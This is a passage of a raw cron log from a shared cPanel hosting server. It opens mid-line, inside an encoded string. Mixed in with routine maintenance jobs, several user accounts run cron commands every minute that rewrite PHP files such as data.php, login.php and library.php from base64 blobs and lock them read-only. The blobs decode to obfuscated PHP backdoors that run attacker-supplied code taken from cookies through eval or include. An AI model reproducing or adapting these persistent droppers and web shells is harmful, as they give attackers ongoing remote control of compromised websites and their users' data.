JheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:22:02 medusa CROND[27991]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:22:02 medusa CROND[27996]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:22:02 medusa CROND[27995]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:22:02 medusa CROND[27997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:22:02 medusa CROND[27999]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:23:02 medusa CROND[10447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:23:02 medusa CROND[10530]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:23:02 medusa CROND[10648]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:23:02 medusa CROND[10649]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:23:02 medusa CROND[10651]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 21:23:02 medusa CROND[10652]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:23:02 medusa CROND[10657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:23:02 medusa CROND[10658]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:23:02 medusa CROND[10665]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:23:02 medusa CROND[10666]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:23:02 medusa CROND[10671]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:23:02 medusa CROND[10673]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:24:01 medusa CROND[27276]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:24:01 medusa CROND[27541]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:24:01 medusa CROND[27542]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:24:01 medusa CROND[27543]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:24:01 medusa CROND[27546]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 21:24:01 medusa CROND[27545]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:24:01 medusa CROND[27547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:24:01 medusa CROND[27549]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:24:01 medusa CROND[27548]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:24:01 medusa CROND[27563]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
